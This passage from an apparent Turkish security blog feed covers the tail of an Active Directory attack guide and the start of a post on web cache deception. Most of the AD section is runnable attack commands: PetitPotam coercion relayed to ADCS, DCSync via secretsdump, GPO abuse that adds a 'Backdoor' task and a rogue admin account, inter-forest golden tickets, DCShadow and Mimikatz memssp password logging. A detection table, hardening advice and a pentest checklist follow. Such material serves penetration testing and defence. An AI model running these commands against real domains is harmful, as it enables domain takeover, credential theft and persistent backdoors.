&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# PetitPotam ile coercion
python3 PetitPotam.py ATTACKER_IP DC01_IP
python3 PetitPotam.py -u jdoe -p &#39;Password123&#39; -d corp.local ATTACKER_IP DC01_IP  # auth

# ESC8 ile birleşim (en güçlü kombinasyon)
# Terminal 1: NTLM relay → ADCS
python3 ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs --template DomainController

# Terminal 2: DC&#39;yi coerce et
python3 PetitPotam.py ATTACKER_IP DC01_IP

# Terminal 3: Sertifikayı auth için kullan
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10

# Terminal 4: DCSync
python3 secretsdump.py -hashes :DC01_HASH &#39;corp.local/DC01$@10.10.10.10&#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;9.5 PrivExchange&lt;/h4&gt;
&lt;p&gt;Exchange makine hesabının domain kök nesnesi üzerinde &lt;code&gt;WriteDACL&lt;/code&gt; hakkı vardır. Bu, Exchange sunucusunu bir hedefe kimlik doğrulamaya zorlamak ve bu kimlik bilgilerini relay ederek DCSync hakları kazanmakla sonuçlanır.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 privexchange.py -ah ATTACKER_IP exchange01.corp.local -u jdoe -p &#39;Password123&#39; -d corp.local
# Parallel: ntlmrelayx ile relay
python3 ntlmrelayx.py -t ldap://DC01 --escalate-user jdoe
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 10: GPO Saldırıları&lt;/h3&gt;
&lt;h4&gt;10.1 GPO Numaralandırma&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Tüm GPO&#39;ları listele
Get-DomainGPO | select displayname, gpcfilesyspath, whenchanged

# Üzerinde kontrol sahibi olduğumuz GPO&#39;lar
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {
  ($_.ActiveDirectoryRights -match &amp;quot;GenericAll|WriteDacl|CreateChild|WriteProperty&amp;quot;) -and
  ($_.SecurityIdentifier -match &amp;quot;jdoe|IT_Helpdesk_SID&amp;quot;)
}

# OU → GPO link analizi
Get-DomainOU -Properties gplink | Where-Object {$_.gplink -ne $null}

# Belirli bir OU&#39;ya uygulanan GPO
Get-DomainGPO -ComputerIdentity WORKSTATION01
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;10.2 GPO Abuse ile Kod Çalıştırma&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# SharpGPOAbuse — GPO üzerinde CreateChild/WriteProperty varsa
# Immediate Scheduled Task ekle
SharpGPOAbuse.exe --AddComputerTask --TaskName &amp;quot;Backdoor&amp;quot; --Author &amp;quot;NT AUTHORITY&#92;SYSTEM&amp;quot; &#92;
  --Command &amp;quot;cmd.exe&amp;quot; --Arguments &amp;quot;/c net localgroup administrators jdoe /add&amp;quot; &#92;
  --GPOName &amp;quot;Default Domain Policy&amp;quot;

# Kullanıcı oturum betiği ekle
SharpGPOAbuse.exe --AddUserScript --ScriptName &amp;quot;payload.bat&amp;quot; &#92;
  --ScriptContents &amp;quot;net user hacker P@ss123! /add &amp;amp;&amp;amp; net localgroup administrators hacker /add&amp;quot; &#92;
  --GPOName &amp;quot;Default Domain Policy&amp;quot;

# PowerView ile GPO link
New-GPO -Name &amp;quot;Malicious&amp;quot; | New-GPLink -Target &amp;quot;OU=Workstations,DC=corp,DC=local&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 11: Forest Trust Saldırıları&lt;/h3&gt;
&lt;h4&gt;11.1 Trust Numaralandırma&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Trust ilişkileri
Get-DomainTrust
nltest /domain_trusts /all_trusts
Get-ForestTrust

# Trust tipi: Bidirectional, External, Forest
# TrustAttributes: 0x04 = Forest, 0x08 = Cross-org, 0x20 = Treat as external
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;11.2 SID History Abuse (ExtraSIDs Saldırısı)&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Şart: Kaynak domain → hedef domain tek yönlü trust
# Hedef domain DA SID&#39;ini ExtraSIDs&#39;e ekle
Get-DomainSID -Domain targetdomain.local

# Mimikatz — inter-forest Golden Ticket
kerberos::golden /user:Administrator /domain:source.local /sid:S-1-5-21-SOURCE /sids:S-1-5-21-TARGET-519 /krbtgt:KRBTGT_HASH /ptt
# S-1-5-21-TARGET-519 = target domain Enterprise Admins RID
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;11.3 Trust Ticket&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Trust key hash al
lsadump::dcsync /domain:source.local /user:target$   # inter-forest trust account

# Trust ticket oluştur
kerberos::golden /user:Administrator /domain:source.local /sid:S-1-5-21-SOURCE &#92;
  /sids:S-1-5-21-TARGET-519 /rc4:TRUST_KEY_HASH /service:krbtgt /target:targetdomain.local /ptt
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 12: Kalıcılık (Persistence)&lt;/h3&gt;
&lt;h4&gt;12.1 DCSync Hakları&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Kendimize DCSync hakkı ver (WriteDACL gerekli)
Add-DomainObjectAcl -TargetIdentity &amp;quot;DC=corp,DC=local&amp;quot; -PrincipalIdentity backdoor_user -Rights DCSync
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;12.2 AdminSDHolder Manipülasyonu&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# AdminSDHolder&#39;a GenericAll ekle → saatlik SDProp ile tüm korunan hesaplara yayılır
Add-DomainObjectAcl -TargetIdentity &amp;quot;CN=AdminSDHolder,CN=System,DC=corp,DC=local&amp;quot; &#92;
  -PrincipalIdentity backdoor_user -Rights All
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;12.3 DSRM Account&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# DC&#39;nin yerel admin şifresini sıfırla
# DsrmAdminLogonBehavior = 2 ile remote login aktif et
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;12.4 DCShadow&lt;/h4&gt;
&lt;p&gt;Sahte bir Domain Controller gibi davranarak AD&#39;ye zararlı değişiklikler push etme.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Terminal 1 (DC rolünü simüle et)
lsadump::dcshadow /object:krbtgt /attribute:unicodePwd /value:&amp;quot;P@ssw0rd!&amp;quot;

# Terminal 2 (değişikliği tetikle)
lsadump::dcshadow /push
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;12.5 Custom SSP (Security Support Provider)&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Mimikatz mimilib.dll&#39;yi LSASS&#39;a yükle → tüm şifreler loglanır
misc::memssp
# Loglar: C:&#92;Windows&#92;System32&#92;kiwissp.log
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 13: Savunma ve Tespit&lt;/h3&gt;
&lt;h4&gt;13.1 Kritik Windows Event ID&#39;leri&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event ID&lt;/th&gt;
&lt;th&gt;Açıklama&lt;/th&gt;
&lt;th&gt;Saldırı&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;4768&lt;/td&gt;
&lt;td&gt;Kerberos TGT isteği&lt;/td&gt;
&lt;td&gt;AS-REP Roasting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4769&lt;/td&gt;
&lt;td&gt;Kerberos TGS isteği&lt;/td&gt;
&lt;td&gt;Kerberoasting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4770&lt;/td&gt;
&lt;td&gt;Kerberos TGT yenileme&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4672&lt;/td&gt;
&lt;td&gt;Özel ayrıcalık oturumu&lt;/td&gt;
&lt;td&gt;Admin login&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4624&lt;/td&gt;
&lt;td&gt;Başarılı login&lt;/td&gt;
&lt;td&gt;PtH, PtT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4625&lt;/td&gt;
&lt;td&gt;Başarısız login&lt;/td&gt;
&lt;td&gt;Password spray&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4776&lt;/td&gt;
&lt;td&gt;NTLM doğrulama&lt;/td&gt;
&lt;td&gt;NTLM relay&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4662&lt;/td&gt;
&lt;td&gt;Nesne üzerinde işlem&lt;/td&gt;
&lt;td&gt;DCSync (DS-Replication)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4738&lt;/td&gt;
&lt;td&gt;Kullanıcı hesabı değiştirildi&lt;/td&gt;
&lt;td&gt;Attribute manipulation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4742&lt;/td&gt;
&lt;td&gt;Bilgisayar hesabı değiştirildi&lt;/td&gt;
&lt;td&gt;RBCD, noPac&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5136&lt;/td&gt;
&lt;td&gt;Dizin servisi nesnesi değiştirildi&lt;/td&gt;
&lt;td&gt;Attribute değişikliği&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4648&lt;/td&gt;
&lt;td&gt;Explicit credential ile login&lt;/td&gt;
&lt;td&gt;PtH&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;13.2 Tespit ve Önlemler&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Kerberoasting Önlemleri:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Servis hesapları için Managed Service Account (MSA) veya Group Managed Service Account (gMSA) kullan&lt;/li&gt;
&lt;li&gt;&lt;code&gt;msDS-SupportedEncryptionTypes = 24&lt;/code&gt; (yalnızca AES) zorla&lt;/li&gt;
&lt;li&gt;25+ karakterlik servis hesabı şifreleri kullan&lt;/li&gt;
&lt;li&gt;Honeypot SPN hesapları oluştur (uyarı tetikleyici)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;AS-REP Roasting Önlemleri:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DONT_REQUIRE_PREAUTH&lt;/code&gt; flag&#39;ini kaldır (gereksiz hesaplarda)&lt;/li&gt;
&lt;li&gt;AES128/256 şifreleme zorunlu kıl&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ACL Abuse Önlemleri:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BloodHound CE ile periyodik ACL taraması&lt;/li&gt;
&lt;li&gt;Tier model uygula: Tier 0 (DC), Tier 1 (Sunucular), Tier 2 (Kullanıcılar)&lt;/li&gt;
&lt;li&gt;AD ACL tarama: &lt;code&gt;Get-DomainObjectAcl&lt;/code&gt; ile yazma haklarını denetle&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Delegation Güvenliği:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unconstrained delegation: kaldır veya Protected Users grubuna al&lt;/li&gt;
&lt;li&gt;&lt;code&gt;msDS-MachineAccountQuota = 0&lt;/code&gt; yap (RBCD önlemi)&lt;/li&gt;
&lt;li&gt;Constrained delegation yerine RBCD tercih et, minimize et&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ADCS Güvenliği:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Certipy / Certify ile periyodik ESC taraması&lt;/li&gt;
&lt;li&gt;EDITF_ATTRIBUTESUBJECTALTNAME2 kapatın&lt;/li&gt;
&lt;li&gt;HTTP enrollment&#39;ta EPA (Extended Protection for Authentication) zorunlu kılın&lt;/li&gt;
&lt;li&gt;Şablon onay yöneticisi zorunluluğu getirin&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;DCSync Önlemleri:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DS-Replication-Get-Changes haklarını denetle (yalnızca DC&#39;ler ve AD Connect)&lt;/li&gt;
&lt;li&gt;4662 + 1131f6aa GUID kombinasyonunu izle&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Genel Sertleştirme:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Protected Users&lt;/code&gt; grubunu kullan (Kerberos delegation, NTLM, WDigest devre dışı)&lt;/li&gt;
&lt;li&gt;LAPS aktif et&lt;/li&gt;
&lt;li&gt;SMB signing zorunlu kıl (NTLM relay önlemi)&lt;/li&gt;
&lt;li&gt;LDAP signing + channel binding zorunlu kıl&lt;/li&gt;
&lt;li&gt;Credential Guard etkinleştir (NTLM hash çalma önlemi)&lt;/li&gt;
&lt;li&gt;PAM (Privileged Access Management) çözümü uygula&lt;/li&gt;
&lt;li&gt;Print Spooler gereksiz sistemlerde devre dışı bırak&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;Araç Seti Özeti&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Araç&lt;/th&gt;
&lt;th&gt;Kaynak&lt;/th&gt;
&lt;th&gt;Kategori&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;BloodHound / SharpHound&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://github.com/BloodHoundAD&quot;&gt;github.com/BloodHoundAD&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Enumeration, path finding&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PowerView (PowerSploit)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://github.com/PowerShellMafia&quot;&gt;github.com/PowerShellMafia&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;AD query, ACL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rubeus&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://github.com/GhostPack/Rubeus&quot;&gt;github.com/GhostPack/Rubeus&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kerberos tickets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mimikatz&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://github.com/gentilkiwi/mimikatz&quot;&gt;github.com/gentilkiwi/mimikatz&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Hash dump, ticket&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impacket&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://github.com/fortra/impacket&quot;&gt;github.com/fortra/impacket&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Protocol tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CrackMapExec&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://github.com/byt3bl33d3r/CrackMapExec&quot;&gt;github.com/byt3bl33d3r/CrackMapExec&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;SMB/LDAP/WinRM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certipy&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://github.com/ly4k/Certipy&quot;&gt;github.com/ly4k/Certipy&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;ADCS attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Whisker&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://github.com/eladshamir/Whisker&quot;&gt;github.com/eladshamir/Whisker&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Shadow Credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PowerMad&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://github.com/Kevin-Robertson/Powermad&quot;&gt;github.com/Kevin-Robertson/Powermad&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Machine accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PetitPotam&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://github.com/topotam/PetitPotam&quot;&gt;github.com/topotam/PetitPotam&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;NTLM coercion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Responder&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://github.com/lgandx/Responder&quot;&gt;github.com/lgandx/Responder&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;NTLM capture&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;noPac&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://github.com/cube0x0/noPac&quot;&gt;github.com/cube0x0/noPac&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;CVE-2021-42278/42287&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h3&gt;AD Pentest Kontrol Listesi&lt;/h3&gt;
&lt;h4&gt;Keşif&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Anonymous LDAP bind test edildi&lt;/li&gt;
&lt;li&gt;[ ] Null session SMB test edildi&lt;/li&gt;
&lt;li&gt;[ ] Domain controller, FQDN, IP tespiti yapıldı&lt;/li&gt;
&lt;li&gt;[ ] SharpHound / BloodHound verisi toplandı&lt;/li&gt;
&lt;li&gt;[ ] SPN&#39;li hesaplar listelendi (Kerberoasting)&lt;/li&gt;
&lt;li&gt;[ ] DONT_REQUIRE_PREAUTH hesaplar listelendi (AS-REP)&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;adminCount=1&lt;/code&gt; hesaplar listelendi&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;msDS-MachineAccountQuota&lt;/code&gt; değeri kontrol edildi&lt;/li&gt;
&lt;li&gt;[ ] LAPS aktif bilgisayarlar listelendi&lt;/li&gt;
&lt;li&gt;[ ] GPO&#39;lar ve bağlı OU&#39;lar numaralandırıldı&lt;/li&gt;
&lt;li&gt;[ ] Trust ilişkileri haritalandı&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Kimlik Bilgisi Saldırıları&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Password spray denenди (lockout hesaba katılarak)&lt;/li&gt;
&lt;li&gt;[ ] AS-REP Roasting denenди&lt;/li&gt;
&lt;li&gt;[ ] Kerberoasting denendi&lt;/li&gt;
&lt;li&gt;[ ] Responder ile NTLM hash yakalandı&lt;/li&gt;
&lt;li&gt;[ ] NTLM relay denenди (SMB signing kontrol)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ACL Analizi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] BloodHound&#39;da &amp;quot;Owned&amp;quot; kullanıcılardan outbound edge analizi&lt;/li&gt;
&lt;li&gt;[ ] Tehlikeli ACE&#39;ler (GenericAll, WriteDACL, WriteOwner) tespit edildi&lt;/li&gt;
&lt;li&gt;[ ] Shadow Credentials (msDS-KeyCredentialLink) denenди&lt;/li&gt;
&lt;li&gt;[ ] AdminSDHolder ACL incelendi&lt;/li&gt;
&lt;li&gt;[ ] GPO write access kontrol edildi&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Delegation&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Unconstrained delegation bilgisayarları tespit edildi&lt;/li&gt;
&lt;li&gt;[ ] Constrained delegation hesapları ve SPN listeleri incelendi&lt;/li&gt;
&lt;li&gt;[ ] RBCD için GenericWrite hedefler tespit edildi&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ADCS&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] ADCS varlığı tespit edildi&lt;/li&gt;
&lt;li&gt;[ ] Certipy ile ESC1-ESC8 taraması yapıldı&lt;/li&gt;
&lt;li&gt;[ ] HTTP enrollment NTLM denenді&lt;/li&gt;
&lt;li&gt;[ ] EDITF_ATTRIBUTESUBJECTALTNAME2 flag kontrol edildi&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Domain Ele Geçirme&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] DCSync hakları kontrol edildi&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;krbtgt&lt;/code&gt; hash alındı (DCSync, VSS veya ADCS ile)&lt;/li&gt;
&lt;li&gt;[ ] Golden Ticket oluşturuldu ve doğrulandı&lt;/li&gt;
&lt;li&gt;[ ] Kalıcılık mekanizması not edildi&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;CVE Kontrolleri&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;[ ] ZeroLogon (CVE-2020-1472) yama kontrolü&lt;/li&gt;
&lt;li&gt;[ ] PrintNightmare (CVE-2021-1675) yama kontrolü&lt;/li&gt;
&lt;li&gt;[ ] noPac (CVE-2021-42278/42287) yama kontrolü&lt;/li&gt;
&lt;li&gt;[ ] PetitPotam (CVE-2021-36942) yama kontrolü&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;Sonuç&lt;/h3&gt;
&lt;p&gt;Active Directory, kurumsal ağların kalbidir. Yukarıda incelenen her saldırı vektörü, gerçek red team operasyonlarında defalarca kanıtlanmış tekniklerdir. Kerberoasting&#39;den Shadow Credentials&#39;a, ADCS ESC1&#39;den RBCD&#39;ye, ZeroLogon&#39;dan noPac&#39;e kadar her bir teknik, AD&#39;nin tasarım kararlarından ya da yanlış yapılandırmalarından kaynaklanır.&lt;/p&gt;
&lt;p&gt;Savunma perspektifinden bakıldığında: BloodHound&#39;u defensif olarak kullanmak, tier model uygulamak, ADCS ortamını düzenli taramak ve kritik event ID&#39;leri izlemek, saldırganın işini önemli ölçüde zorlaştırır.&lt;/p&gt;
&lt;p&gt;Saldırı perspektifinden bakıldığında: Tek bir misconfigured ACE, Kerberoastable bir servis hesabı veya ESC1 açığı, domain&#39;in tamamen ele geçirilmesiyle sonuçlanabilir.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Araştırmacılar:&lt;/strong&gt; Will Schroeder (Rubeus, BloodHound) • Harmj0y (PowerView, BloodHound) • Andy Robbins (BloodHound) • Elad Shamir (Shadow Credentials) • Oliver Lyak (Certipy) • Simone Saviolo &amp;amp; Riccardo Ancarani (noPac) • Sébastien Thibault (PetitPotam) • Nikhil Mittal (PowerAD)&lt;br /&gt;
&lt;strong&gt;Konferanslar:&lt;/strong&gt; DEF CON • Black Hat • BlueHat • SANS&lt;br /&gt;
&lt;strong&gt;Atıflar:&lt;/strong&gt; SpecterOps &amp;quot;Certified Pre-Owned&amp;quot; (2021) • &amp;quot;Abusing Active Directory Permissions&amp;quot; (harmj0y) • Microsoft MSRC Advisory CVE-2020-1472 / CVE-2021-36942&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Web Cache Deception &amp; Poisoning: Cache ile Origin Arasındaki Boşluğu Silaha Dönüştürmek</title>
    <link href="https://tagmachan.com/web-cache-deception-poisoning-cache-ile-origin-arasindaki-boslugu-silaha-donusturmek.tagox"/>
    <updated>2026-06-13T09:00:00Z</updated>
    <id>https://tagmachan.com/web-cache-deception-poisoning-cache-ile-origin-arasindaki-boslugu-silaha-donusturmek.tagox</id>
    <category term="Security Research"/>
    <summary>Cache istismarının iki yüzü — Web Cache Deception, bir CDN&#39;i kurbanın özel sayfasını saklaması için kandırır; Web Cache Poisoning ise her ziyaretçiye sunulan zararlı bir yanıt enjekte eder. Cache-key ile origin parsing tutarsızlıklarının ikisini de nasıl doğurduğu, gerçek dünya zincirleri ve savunmalar.</summary>
    <content type="html">&lt;h3&gt;Giriş: Cache Bir Saldırı Yüzeyidir&lt;/h3&gt;
&lt;p&gt;Modern web mimarisinde içerik nadiren doğrudan sunucudan gelir. Araya bir &lt;strong&gt;cache katmanı&lt;/strong&gt; girer: CDN (Cloudflare, Akamai, Fastly), ters proxy (Varnish, Nginx) ya da uygulama önbelleği. Amaç performanstır — statik dosyaları kullanıcıya en yakın noktada tutup origin&#39;i yormamak.&lt;/p&gt;
&lt;p&gt;Ama bu katmanın tek bir kritik kararı vardır: &lt;strong&gt;&amp;quot;Bu yanıtı saklayayım mı, saklamayayım mı?&amp;quot;&lt;/strong&gt; ve &lt;strong&gt;&amp;quot;Hangi anahtar (cache key) altında saklayayım?&amp;quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cache bu kararı verirken URL&#39;yi, header&#39;ları ve uzantıyı kendi mantığıyla yorumlar. Origin sunucu ise aynı isteği &lt;strong&gt;tamamen farklı&lt;/strong&gt; bir mantıkla yorumlar. İşte bu iki yorum arasındaki boşluk, iki ayrı saldırı sınıfını doğurur:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Web Cache Deception (WCD):&lt;/strong&gt; Cache&#39;i kandırıp kurbanın &lt;em&gt;özel&lt;/em&gt; bir sayfasını &amp;quot;statik dosya&amp;quot; sanarak saklamasını sağlarsın. Sonra aynı URL&#39;yi sen istersin ve kurbanın verisini cache&#39;ten çekersin.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Cache Poisoning:&lt;/strong&gt; Cache&#39;in &lt;em&gt;paylaşılan&lt;/em&gt; bir girdisine zararlı bir yanıt enjekte edersin. O andan itibaren o sayfayı isteyen &lt;strong&gt;herkes&lt;/strong&gt; senin payload&#39;ını alır.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;İlki &lt;strong&gt;veri sızdırma&lt;/strong&gt;, ikincisi &lt;strong&gt;kitlesel XSS / yönlendirme&lt;/strong&gt;. İkisinin de kökü aynı: &lt;em&gt;cache ile origin aynı isteği farklı görür.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/web-cache-deception-hero.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Bölüm 1 — Web Cache Deception&lt;/h3&gt;
&lt;p&gt;Tekniği 2017&#39;de &lt;strong&gt;Omer Gil&lt;/strong&gt; keşfetti ve PayPal üzerinde canlı olarak gösterdi: tek bir URL ile başka bir kullanıcının ad, e-posta ve hesap bilgilerini cache&#39;ten okumak. 2020&#39;de &amp;quot;Cached and Confused&amp;quot; (USENIX Security) araştırması bunun internet genelinde ne kadar yaygın olduğunu kanıtladı.&lt;/p&gt;
&lt;h4&gt;Temel mantık: uzantı yalanı&lt;/h4&gt;
&lt;p&gt;Çoğu CDN şu kuralla yapılandırılır: &lt;em&gt;&amp;quot;Uzantısı &lt;code&gt;.css&lt;/code&gt;, &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.png&lt;/code&gt;, &lt;code&gt;.ico&lt;/code&gt;, &lt;code&gt;.woff&lt;/code&gt; olan her şey statiktir → cache&#39;le.&amp;quot;&lt;/em&gt; Bu kural pratiktir ama &lt;strong&gt;tehlikelidir&lt;/strong&gt;, çünkü cache kararı yalnızca dosya adının sonuna bakar.&lt;/p&gt;
&lt;p&gt;Şimdi şu isteği düşün:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /account/profile.css HTTP/1.1
Host: target.com
Cookie: session=&amp;lt;kurbanın-oturumu&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cache&#39;in gözünden:&lt;/strong&gt; &amp;quot;&lt;code&gt;.css&lt;/code&gt; ile bitiyor → statik → sakla.&amp;quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Origin&#39;in gözünden:&lt;/strong&gt; Birçok framework (PHP &lt;code&gt;PATH_INFO&lt;/code&gt;, &lt;a href=&quot;http://asp.net/&quot;&gt;ASP.NET&lt;/a&gt;, Ruby/Rails routing) &lt;code&gt;/account/profile.css&lt;/code&gt; yolunu &lt;code&gt;/account/profile&lt;/code&gt; route&#39;una eşler ve &lt;code&gt;.css&lt;/code&gt; son ekini &lt;strong&gt;yok sayar&lt;/strong&gt;. Sonuç: kurbanın özel profil sayfası render edilir.&lt;/li&gt;
&lt;/ul&gt;
